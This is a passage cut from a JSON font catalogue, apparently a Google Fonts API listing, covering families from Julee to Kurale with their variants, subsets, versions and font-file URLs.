3/FeVSS0Fbvbc14Vxps5xQ3Z5nm29Gww.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Julee","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/julee/v10/TuGfUVB3RpZPQ6ZLodgzydtk.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Julius Sans One","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/juliussansone/v9/1Pt2g8TAX_SGgBGUi0tGOYEga5W-xXEW6aGXHw.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Junge","variants":["regular"],"subsets":["latin"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/junge/v8/gokgH670Gl1lUqAdvhB7SnKm.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Jura","variants":["300","regular","500","600","700"],"subsets":["cyrillic","cyrillic-ext","greek","greek-ext","latin","latin-ext","vietnamese"],"version":"v15","lastModified":"2020-06-26","files":{"300":"http://fonts.gstatic.com/s/jura/v15/z7NOdRfiaC4Vd8hhoPzfb5vBTP0D7auhTfmrH_rt.ttf","regular":"http://fonts.gstatic.com/s/jura/v15/z7NOdRfiaC4Vd8hhoPzfb5vBTP1d7auhTfmrH_rt.ttf","500":"http://fonts.gstatic.com/s/jura/v15/z7NOdRfiaC4Vd8hhoPzfb5vBTP1v7auhTfmrH_rt.ttf","600":"http://fonts.gstatic.com/s/jura/v15/z7NOdRfiaC4Vd8hhoPzfb5vBTP2D6quhTfmrH_rt.ttf","700":"http://fonts.gstatic.com/s/jura/v15/z7NOdRfiaC4Vd8hhoPzfb5vBTP266quhTfmrH_rt.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Just Another Hand","variants":["regular"],"subsets":["latin"],"version":"v12","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/justanotherhand/v12/845CNN4-AJyIGvIou-6yJKyptyOpOcr_BmmlS5aw.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Just Me Again Down Here","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v12","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/justmeagaindownhere/v12/MwQmbgXtz-Wc6RUEGNMc0QpRrfUh2hSdBBMoAuwHvqDwc_fg.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"K2D","variants":["100","100italic","200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic","800","800italic"],"subsets":["latin","latin-ext","thai","vietnamese"],"version":"v4","lastModified":"2020-07-23","files":{"100":"http://fonts.gstatic.com/s/k2d/v4/J7aRnpF2V0ErE6UpvrIw74NL.ttf","100italic":"http://fonts.gstatic.com/s/k2d/v4/J7afnpF2V0EjdZ1NtLYS6pNLAjk.ttf","200":"http://fonts.gstatic.com/s/k2d/v4/J7aenpF2V0Erv4QJlJw85ppSGw.ttf","200italic":"http://fonts.gstatic.com/s/k2d/v4/J7acnpF2V0EjdZ3hlZY4xJ9CGyAa.ttf","300":"http://fonts.gstatic.com/s/k2d/v4/J7aenpF2V0Er24cJlJw85ppSGw.ttf","300italic":"http://fonts.gstatic.com/s/k2d/v4/J7acnpF2V0EjdZ2FlpY4xJ9CGyAa.ttf","regular":"http://fonts.gstatic.com/s/k2d/v4/J7aTnpF2V0ETd68tnLcg7w.ttf","italic":"http://fonts.gstatic.com/s/k2d/v4/J7aRnpF2V0EjdaUpvrIw74NL.ttf","500":"http://fonts.gstatic.com/s/k2d/v4/J7aenpF2V0Erg4YJlJw85ppSGw.ttf","500italic":"http://fonts.gstatic.com/s/k2d/v4/J7acnpF2V0EjdZ3dl5Y4xJ9CGyAa.ttf","600":"http://fonts.gstatic.com/s/k2d/v4/J7aenpF2V0Err4EJlJw85ppSGw.ttf","600italic":"http://fonts.gstatic.com/s/k2d/v4/J7acnpF2V0EjdZ3xkJY4xJ9CGyAa.ttf","700":"http://fonts.gstatic.com/s/k2d/v4/J7aenpF2V0Ery4AJlJw85ppSGw.ttf","700italic":"http://fonts.gstatic.com/s/k2d/v4/J7acnpF2V0EjdZ2VkZY4xJ9CGyAa.ttf","800":"http://fonts.gstatic.com/s/k2d/v4/J7aenpF2V0Er14MJlJw85ppSGw.ttf","800italic":"http://fonts.gstatic.com/s/k2d/v4/J7acnpF2V0EjdZ2JkpY4xJ9CGyAa.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Kadwa","variants":["regular","700"],"subsets":["devanagari","latin"],"version":"v4","lastModified":"2019-07-16","files":{"regular":"http://fonts.gstatic.com/s/kadwa/v4/rnCm-x5V0g7iphTHRcc2s2XH.ttf","700":"http://fonts.gstatic.com/s/kadwa/v4/rnCr-x5V0g7ipix7auM-mHnOSOuk.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Kalam","variants":["300","regular","700"],"subsets":["devanagari","latin","latin-ext"],"version":"v11","lastModified":"2020-09-02","files":{"300":"http://fonts.gstatic.com/s/kalam/v11/YA9Qr0Wd4kDdMtD6GgLLmCUItqGt.ttf","regular":"http://fonts.gstatic.com/s/kalam/v11/YA9dr0Wd4kDdMuhWMibDszkB.ttf","700":"http://fonts.gstatic.com/s/kalam/v11/YA9Qr0Wd4kDdMtDqHQLLmCUItqGt.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Kameron","variants":["regular","700"],"subsets":["latin"],"version":"v11","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/kameron/v11/vm82dR7vXErQxuznsL4wL-XIYH8.ttf","700":"http://fonts.gstatic.com/s/kameron/v11/vm8zdR7vXErQxuzniAIfC-3jfHb--NY.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Kanit","variants":["100","100italic","200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic","800","800italic","900","900italic"],"subsets":["latin","latin-ext","thai","vietnamese"],"version":"v7","lastModified":"2020-09-02","files":{"100":"http://fonts.gstatic.com/s/kanit/v7/nKKX-Go6G5tXcr72GwWKcaxALFs.ttf","100italic":"http://fonts.gstatic.com/s/kanit/v7/nKKV-Go6G5tXcraQI2GAdY5FPFtrGw.ttf","200":"http://fonts.gstatic.com/s/kanit/v7/nKKU-Go6G5tXcr5aOiWgX6BJNUJy.ttf","200italic":"http://fonts.gstatic.com/s/kanit/v7/nKKS-Go6G5tXcraQI82hVaRrMFJyAu4.ttf","300":"http://fonts.gstatic.com/s/kanit/v7/nKKU-Go6G5tXcr4-OSWgX6BJNUJy.ttf","300italic":"http://fonts.gstatic.com/s/kanit/v7/nKKS-Go6G5tXcraQI6miVaRrMFJyAu4.ttf","regular":"http://fonts.gstatic.com/s/kanit/v7/nKKZ-Go6G5tXcoaSEQGodLxA.ttf","italic":"http://fonts.gstatic.com/s/kanit/v7/nKKX-Go6G5tXcraQGwWKcaxALFs.ttf","500":"http://fonts.gstatic.com/s/kanit/v7/nKKU-Go6G5tXcr5mOCWgX6BJNUJy.ttf","500italic":"http://fonts.gstatic.com/s/kanit/v7/nKKS-Go6G5tXcraQI_GjVaRrMFJyAu4.ttf","600":"http://fonts.gstatic.com/s/kanit/v7/nKKU-Go6G5tXcr5KPyWgX6BJNUJy.ttf","600italic":"http://fonts.gstatic.com/s/kanit/v7/nKKS-Go6G5tXcraQI92kVaRrMFJyAu4.ttf","700":"http://fonts.gstatic.com/s/kanit/v7/nKKU-Go6G5tXcr4uPiWgX6BJNUJy.ttf","700italic":"http://fonts.gstatic.com/s/kanit/v7/nKKS-Go6G5tXcraQI7mlVaRrMFJyAu4.ttf","800":"http://fonts.gstatic.com/s/kanit/v7/nKKU-Go6G5tXcr4yPSWgX6BJNUJy.ttf","800italic":"http://fonts.gstatic.com/s/kanit/v7/nKKS-Go6G5tXcraQI6WmVaRrMFJyAu4.ttf","900":"http://fonts.gstatic.com/s/kanit/v7/nKKU-Go6G5tXcr4WPCWgX6BJNUJy.ttf","900italic":"http://fonts.gstatic.com/s/kanit/v7/nKKS-Go6G5tXcraQI4GnVaRrMFJyAu4.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Kantumruy","variants":["300","regular","700"],"subsets":["khmer"],"version":"v9","lastModified":"2020-10-08","files":{"300":"http://fonts.gstatic.com/s/kantumruy/v9/syk0-yJ0m7wyVb-f4FOPUtDlpn-UJ1H6Uw.ttf","regular":"http://fonts.gstatic.com/s/kantumruy/v9/sykx-yJ0m7wyVb-f4FO3_vjBrlSILg.ttf","700":"http://fonts.gstatic.com/s/kantumruy/v9/syk0-yJ0m7wyVb-f4FOPQtflpn-UJ1H6Uw.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Karla","variants":["200","300","regular","500","600","700","800","200italic","300italic","italic","500italic","600italic","700italic","800italic"],"subsets":["latin","latin-ext"],"version":"v14","lastModified":"2020-11-20","files":{"200":"http://fonts.gstatic.com/s/karla/v14/qkBIXvYC6trAT55ZBi1ueQVIjQTDeJqqFENLR7fHGw.ttf","300":"http://fonts.gstatic.com/s/karla/v14/qkBIXvYC6trAT55ZBi1ueQVIjQTDppqqFENLR7fHGw.ttf","regular":"http://fonts.gstatic.com/s/karla/v14/qkBIXvYC6trAT55ZBi1ueQVIjQTD-JqqFENLR7fHGw.ttf","500":"http://fonts.gstatic.com/s/karla/v14/qkBIXvYC6trAT55ZBi1ueQVIjQTDypqqFENLR7fHGw.ttf","600":"http://fonts.gstatic.com/s/karla/v14/qkBIXvYC6trAT55ZBi1ueQVIjQTDJp2qFENLR7fHGw.ttf","700":"http://fonts.gstatic.com/s/karla/v14/qkBIXvYC6trAT55ZBi1ueQVIjQTDH52qFENLR7fHGw.ttf","800":"http://fonts.gstatic.com/s/karla/v14/qkBIXvYC6trAT55ZBi1ueQVIjQTDeJ2qFENLR7fHGw.ttf","200italic":"http://fonts.gstatic.com/s/karla/v14/qkBKXvYC6trAT7RQNNK2EG7SIwPWMNnCV0lPZbLXGxGR.ttf","300italic":"http://fonts.gstatic.com/s/karla/v14/qkBKXvYC6trAT7RQNNK2EG7SIwPWMNkcV0lPZbLXGxGR.ttf","italic":"http://fonts.gstatic.com/s/karla/v14/qkBKXvYC6trAT7RQNNK2EG7SIwPWMNlCV0lPZbLXGxGR.ttf","500italic":"http://fonts.gstatic.com/s/karla/v14/qkBKXvYC6trAT7RQNNK2EG7SIwPWMNlwV0lPZbLXGxGR.ttf","600italic":"http://fonts.gstatic.com/s/karla/v14/qkBKXvYC6trAT7RQNNK2EG7SIwPWMNmcUElPZbLXGxGR.ttf","700italic":"http://fonts.gstatic.com/s/karla/v14/qkBKXvYC6trAT7RQNNK2EG7SIwPWMNmlUElPZbLXGxGR.ttf","800italic":"http://fonts.gstatic.com/s/karla/v14/qkBKXvYC6trAT7RQNNK2EG7SIwPWMNnCUElPZbLXGxGR.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Karma","variants":["300","regular","500","600","700"],"subsets":["devanagari","latin","latin-ext"],"version":"v11","lastModified":"2020-09-02","files":{"300":"http://fonts.gstatic.com/s/karma/v11/va9F4kzAzMZRGLjDY8Z_uqzGQC_-.ttf","regular":"http://fonts.gstatic.com/s/karma/v11/va9I4kzAzMZRGIBvS-J3kbDP.ttf","500":"http://fonts.gstatic.com/s/karma/v11/va9F4kzAzMZRGLibYsZ_uqzGQC_-.ttf","600":"http://fonts.gstatic.com/s/karma/v11/va9F4kzAzMZRGLi3ZcZ_uqzGQC_-.ttf","700":"http://fonts.gstatic.com/s/karma/v11/va9F4kzAzMZRGLjTZMZ_uqzGQC_-.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Katibeh","variants":["regular"],"subsets":["arabic","latin","latin-ext"],"version":"v9","lastModified":"2020-09-25","files":{"regular":"http://fonts.gstatic.com/s/katibeh/v9/ZGjXol5MQJog4bxDaC1RVDNdGDs.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Kaushan Script","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/kaushanscript/v9/vm8vdRfvXFLG3OLnsO15WYS5DF7_ytN3M48a.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Kavivanar","variants":["regular"],"subsets":["latin","latin-ext","tamil"],"version":"v6","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/kavivanar/v6/o-0IIpQgyXYSwhxP7_Jb4j5Ba_2c7A.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Kavoon","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/kavoon/v9/pxiFyp4_scRYhlU4NLr6f1pdEQ.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Kdam Thmor","variants":["regular"],"subsets":["khmer"],"version":"v9","lastModified":"2020-10-08","files":{"regular":"http://fonts.gstatic.com/s/kdamthmor/v9/MwQzbhjs3veF6QwJVf0JkGMViblPtXs.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Keania One","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/keaniaone/v8/zOL54pXJk65E8pXardnuycRuv-hHkOs.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Kelly Slab","variants":["regular"],"subsets":["cyrillic","latin","latin-ext"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/kellyslab/v11/-W_7XJX0Rz3cxUnJC5t6TkMBf50kbiM.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Kenia","variants":["regular"],"subsets":["latin"],"version":"v12","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/kenia/v12/jizURE5PuHQH9qCONUGswfGM.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Khand","variants":["300","regular","500","600","700"],"subsets":["devanagari","latin","latin-ext"],"version":"v9","lastModified":"2020-09-02","files":{"300":"http://fonts.gstatic.com/s/khand/v9/TwMN-IINQlQQ0bL5cFE3ZwaH__-C.ttf","regular":"http://fonts.gstatic.com/s/khand/v9/TwMA-IINQlQQ0YpVWHU_TBqO.ttf","500":"http://fonts.gstatic.com/s/khand/v9/TwMN-IINQlQQ0bKhcVE3ZwaH__-C.ttf","600":"http://fonts.gstatic.com/s/khand/v9/TwMN-IINQlQQ0bKNdlE3ZwaH__-C.ttf","700":"http://fonts.gstatic.com/s/khand/v9/TwMN-IINQlQQ0bLpd1E3ZwaH__-C.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Khmer","variants":["regular"],"subsets":["khmer"],"version":"v13","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/khmer/v13/MjQImit_vPPwpF-BpN2EeYmD.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Khula","variants":["300","regular","600","700","800"],"subsets":["devanagari","latin","latin-ext"],"version":"v7","lastModified":"2020-11-06","files":{"300":"http://fonts.gstatic.com/s/khula/v7/OpNPnoEOns3V7G-ljCvUrC59XwXD.ttf","regular":"http://fonts.gstatic.com/s/khula/v7/OpNCnoEOns3V7FcJpA_chzJ0.ttf","600":"http://fonts.gstatic.com/s/khula/v7/OpNPnoEOns3V7G_RiivUrC59XwXD.ttf","700":"http://fonts.gstatic.com/s/khula/v7/OpNPnoEOns3V7G-1iyvUrC59XwXD.ttf","800":"http://fonts.gstatic.com/s/khula/v7/OpNPnoEOns3V7G-piCvUrC59XwXD.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Kirang Haerang","variants":["regular"],"subsets":["korean","latin"],"version":"v8","lastModified":"2019-07-16","files":{"regular":"http://fonts.gstatic.com/s/kiranghaerang/v8/E21-_dn_gvvIjhYON1lpIU4-bcqvWPaJq4no.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Kite One","variants":["regular"],"subsets":["latin"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/kiteone/v8/70lQu7shLnA_E02vyq1b6HnGO4uA.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Knewave","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/knewave/v9/sykz-yx0lLcxQaSItSq9-trEvlQ.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"KoHo","variants":["200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic"],"subsets":["latin","latin-ext","thai","vietnamese"],"version":"v4","lastModified":"2020-07-23","files":{"200":"http://fonts.gstatic.com/s/koho/v4/K2FxfZ5fmddNPuE1WJ75JoKhHys.ttf","200italic":"http://fonts.gstatic.com/s/koho/v4/K2FzfZ5fmddNNisssJ_zIqCkDyvqZA.ttf","300":"http://fonts.gstatic.com/s/koho/v4/K2FxfZ5fmddNPoU2WJ75JoKhHys.ttf","300italic":"http://fonts.gstatic.com/s/koho/v4/K2FzfZ5fmddNNiss1JzzIqCkDyvqZA.ttf","regular":"http://fonts.gstatic.com/s/koho/v4/K2F-fZ5fmddNBikefJbSOos.ttf","italic":"http://fonts.gstatic.com/s/koho/v4/K2FwfZ5fmddNNisUeLTXKou4Bg.ttf","500":"http://fonts.gstatic.com/s/koho/v4/K2FxfZ5fmddNPt03WJ75JoKhHys.ttf","500italic":"http://fonts.gstatic.com/s/koho/v4/K2FzfZ5fmddNNissjJ3zIqCkDyvqZA.ttf","600":"http://fonts.gstatic.com/s/koho/v4/K2FxfZ5fmddNPvEwWJ75JoKhHys.ttf","600italic":"http://fonts.gstatic.com/s/koho/v4/K2FzfZ5fmddNNissoJrzIqCkDyvqZA.ttf","700":"http://fonts.gstatic.com/s/koho/v4/K2FxfZ5fmddNPpUxWJ75JoKhHys.ttf","700italic":"http://fonts.gstatic.com/s/koho/v4/K2FzfZ5fmddNNissxJvzIqCkDyvqZA.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Kodchasan","variants":["200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic"],"subsets":["latin","latin-ext","thai","vietnamese"],"version":"v4","lastModified":"2020-07-23","files":{"200":"http://fonts.gstatic.com/s/kodchasan/v4/1cX0aUPOAJv9sG4I-DJeR1Cggeqo3eMeoA.ttf","200italic":"http://fonts.gstatic.com/s/kodchasan/v4/1cXqaUPOAJv9sG4I-DJWjUlIgOCs_-YOoIgN.ttf","300":"http://fonts.gstatic.com/s/kodchasan/v4/1cX0aUPOAJv9sG4I-DJeI1Oggeqo3eMeoA.ttf","300italic":"http://fonts.gstatic.com/s/kodchasan/v4/1cXqaUPOAJv9sG4I-DJWjUksg-Cs_-YOoIgN.ttf","regular":"http://fonts.gstatic.com/s/kodchasan/v4/1cXxaUPOAJv9sG4I-DJmj3uEicG01A.ttf","italic":"http://fonts.gstatic.com/s/kodchasan/v4/1cX3aUPOAJv9sG4I-DJWjXGAq8Sk1PoH.ttf","500":"http://fonts.gstatic.com/s/kodchasan/v4/1cX0aUPOAJv9sG4I-DJee1Kggeqo3eMeoA.ttf","500italic":"http://fonts.gstatic.com/s/kodchasan/v4/1cXqaUPOAJv9sG4I-DJWjUl0guCs_-YOoIgN.ttf","600":"http://fonts.gstatic.com/s/kodchasan/v4/1cX0aUPOAJv9sG4I-DJeV1Wggeqo3eMeoA.ttf","600italic":"http://fonts.gstatic.com/s/kodchasan/v4/1cXqaUPOAJv9sG4I-DJWjUlYheCs_-YOoIgN.ttf","700":"http://fonts.gstatic.com/s/kodchasan/v4/1cX0aUPOAJv9sG4I-DJeM1Sggeqo3eMeoA.ttf","700italic":"http://fonts.gstatic.com/s/kodchasan/v4/1cXqaUPOAJv9sG4I-DJWjUk8hOCs_-YOoIgN.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Kosugi","variants":["regular"],"subsets":["cyrillic","japanese","latin"],"version":"v6","lastModified":"2020-03-03","files":{"regular":"http://fonts.gstatic.com/s/kosugi/v6/pxiFyp4_v8FCjlI4NLr6f1pdEQ.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Kosugi Maru","variants":["regular"],"subsets":["cyrillic","japanese","latin"],"version":"v6","lastModified":"2020-03-03","files":{"regular":"http://fonts.gstatic.com/s/kosugimaru/v6/0nksC9PgP_wGh21A2KeqGiTqivr9iBq_.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Kotta One","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/kottaone/v8/S6u_w41LXzPc_jlfNWqPHA3s5dwt7w.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Koulen","variants":["regular"],"subsets":["khmer"],"version":"v14","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/koulen/v14/AMOQz46as3KIBPeWgnA9kuYMUg.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Kranky","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/kranky/v11/hESw6XVgJzlPsFnMpheEZo_H_w.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Kreon","variants":["300","regular","500","600","700"],"subsets":["latin","latin-ext"],"version":"v23","lastModified":"2020-06-26","files":{"300":"http://fonts.gstatic.com/s/kreon/v23/t5t9IRIUKY-TFF_LW5lnMR3v2DnvPNimejUfp2dWNg.ttf","regular":"http://fonts.gstatic.com/s/kreon/v23/t5t9IRIUKY-TFF_LW5lnMR3v2DnvYtimejUfp2dWNg.ttf","500":"http://fonts.gstatic.com/s/kreon/v23/t5t9IRIUKY-TFF_LW5lnMR3v2DnvUNimejUfp2dWNg.ttf","600":"http://fonts.gstatic.com/s/kreon/v23/t5t9IRIUKY-TFF_LW5lnMR3v2DnvvN-mejUfp2dWNg.ttf","700":"http://fonts.gstatic.com/s/kreon/v23/t5t9IRIUKY-TFF_LW5lnMR3v2Dnvhd-mejUfp2dWNg.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Kristi","variants":["regular"],"subsets":["latin"],"version":"v12","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/kristi/v12/uK_y4ricdeU6zwdRCh0TMv6EXw.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Krona One","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/kronaone/v9/jAnEgHdjHcjgfIb1ZcUCMY-h3cWkWg.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Krub","variants":["200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic"],"subsets":["latin","latin-ext","thai","vietnamese"],"version":"v4","lastModified":"2020-09-02","files":{"200":"http://fonts.gstatic.com/s/krub/v4/sZlEdRyC6CRYZo47KLF4R6gWaf8.ttf","200italic":"http://fonts.gstatic.com/s/krub/v4/sZlGdRyC6CRYbkQiwLByQ4oTef_6gQ.ttf","300":"http://fonts.gstatic.com/s/krub/v4/sZlEdRyC6CRYZuo4KLF4R6gWaf8.ttf","300italic":"http://fonts.gstatic.com/s/krub/v4/sZlGdRyC6CRYbkQipLNyQ4oTef_6gQ.ttf","regular":"http://fonts.gstatic.com/s/krub/v4/sZlLdRyC6CRYXkYQDLlTW6E.ttf","italic":"http://fonts.gstatic.com/s/krub/v4/sZlFdRyC6CRYbkQaCJtWS6EPcA.ttf","500":"http://fonts.gstatic.com/s/krub/v4/sZlEdRyC6CRYZrI5KLF4R6gWaf8.ttf","500italic":"http://fonts.gstatic.com/s/krub/v4/sZlGdRyC6CRYbkQi_LJyQ4oTef_6gQ.ttf","600":"http://fonts.gstatic.com/s/krub/v4/sZlEdRyC6CRYZp4-KLF4R6gWaf8.ttf","600italic":"http://fonts.gstatic.com/s/krub/v4/sZlGdRyC6CRYbkQi0LVyQ4oTef_6gQ.ttf","700":"http://fonts.gstatic.com/s/krub/v4/sZlEdRyC6CRYZvo_KLF4R6gWaf8.ttf","700italic":"http://fonts.gstatic.com/s/krub/v4/sZlGdRyC6CRYbkQitLRyQ4oTef_6gQ.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Kufam","variants":["regular","500","600","700","800","900","italic","500italic","600italic","700italic","800italic","900italic"],"subsets":["arabic","latin","latin-ext","vietnamese"],"version":"v2","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/kufam/v2/C8c-4cY7pG7w_oSJDszBXsKCcBH3lqk7qQCJHvIwYg.ttf","500":"http://fonts.gstatic.com/s/kufam/v2/C8c-4cY7pG7w_oSJDszBXsKCcBH3pKk7qQCJHvIwYg.ttf","600":"http://fonts.gstatic.com/s/kufam/v2/C8c-4cY7pG7w_oSJDszBXsKCcBH3SK47qQCJHvIwYg.ttf","700":"http://fonts.gstatic.com/s/kufam/v2/C8c-4cY7pG7w_oSJDszBXsKCcBH3ca47qQCJHvIwYg.ttf","800":"http://fonts.gstatic.com/s/kufam/v2/C8c-4cY7pG7w_oSJDszBXsKCcBH3Fq47qQCJHvIwYg.ttf","900":"http://fonts.gstatic.com/s/kufam/v2/C8c-4cY7pG7w_oSJDszBXsKCcBH3P647qQCJHvIwYg.ttf","italic":"http://fonts.gstatic.com/s/kufam/v2/C8c84cY7pG7w_q6APDMZN6kY3hbiXurT6gqNPPcgYp0i.ttf","500italic":"http://fonts.gstatic.com/s/kufam/v2/C8c84cY7pG7w_q6APDMZN6kY3hbiXurh6gqNPPcgYp0i.ttf","600italic":"http://fonts.gstatic.com/s/kufam/v2/C8c84cY7pG7w_q6APDMZN6kY3hbiXuoN7QqNPPcgYp0i.ttf","700italic":"http://fonts.gstatic.com/s/kufam/v2/C8c84cY7pG7w_q6APDMZN6kY3hbiXuo07QqNPPcgYp0i.ttf","800italic":"http://fonts.gstatic.com/s/kufam/v2/C8c84cY7pG7w_q6APDMZN6kY3hbiXupT7QqNPPcgYp0i.ttf","900italic":"http://fonts.gstatic.com/s/kufam/v2/C8c84cY7pG7w_q6APDMZN6kY3hbiXup67QqNPPcgYp0i.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Kulim Park","variants":["200","200italic","300","300italic","regular","italic","600","600italic","700","700italic"],"subsets":["latin","latin-ext"],"version":"v2","lastModified":"2020-07-23","files":{"200":"http://fonts.gstatic.com/s/kulimpark/v2/fdN49secq3hflz1Uu3IwjJYNwa5aZbUvGjU.ttf","200italic":"http://fonts.gstatic.com/s/kulimpark/v2/fdNm9secq3hflz1Uu3IwhFwUKa9QYZcqCjVVUA.ttf","300":"http://fonts.gstatic.com/s/kulimpark/v2/fdN49secq3hflz1Uu3IwjPIOwa5aZbUvGjU.ttf","300italic":"http://fonts.gstatic.com/s/kulimpark/v2/fdNm9secq3hflz1Uu3IwhFwUTaxQYZcqCjVVUA.ttf","regular":"http://fonts.gstatic.com/s/kulimpark/v2/fdN79secq3hflz1Uu3IwtF4m5aZxebw.ttf","italic":"http://fonts.gstatic.com/s/kulimpark/v2/fdN59secq3hflz1Uu3IwhFws4YR0abw2Aw.ttf","600":"http://fonts.gstatic.com/s/kulimpark/v2/fdN49secq3hflz1Uu3IwjIYIwa5aZbUvGjU.ttf","600italic":"http://fonts.gstatic.com/s/kulimpark/v2/fdNm9secq3hflz1Uu3IwhFwUOapQYZcqCjVVUA.ttf","700":"http://fonts.gstatic.com/s/kulimpark/v2/fdN49secq3hflz1Uu3IwjOIJwa5aZbUvGjU.ttf","700italic":"http://fonts.gstatic.com/s/kulimpark/v2/fdNm9secq3hflz1Uu3IwhFwUXatQYZcqCjVVUA.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Kumar One","variants":["regular"],"subsets":["gujarati","latin","latin-ext"],"version":"v5","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/kumarone/v5/bMr1mS-P958wYi6YaGeGNO6WU3oT0g.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Kumar One Outline","variants":["regular"],"subsets":["gujarati","latin","latin-ext"],"version":"v6","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/kumaroneoutline/v6/Noao6VH62pyLP0fsrZ-v18wlUEcX9zDwRQu8EGKF.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Kumbh Sans","variants":["300","regular","700"],"subsets":["latin","latin-ext"],"version":"v1","lastModified":"2020-09-02","files":{"300":"http://fonts.gstatic.com/s/kumbhsans/v1/c4mm1n92AsfhuCq6tVsagit_3KKVXUv8Los.ttf","regular":"http://fonts.gstatic.com/s/kumbhsans/v1/c4ml1n92AsfhuCq6tVsauodX-Kq-QUI.ttf","700":"http://fonts.gstatic.com/s/kumbhsans/v1/c4mm1n92AsfhuCq6tVsagjt43KKVXUv8Los.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Kurale","variants":["regular"],"subsets":["cyrillic","cyrillic-ext","devanagari","latin","latin-ext"],"version":"v6","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/kurale/v6/4iCs6KV9e9dXjho6eAT3v02QFg.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"La Belle 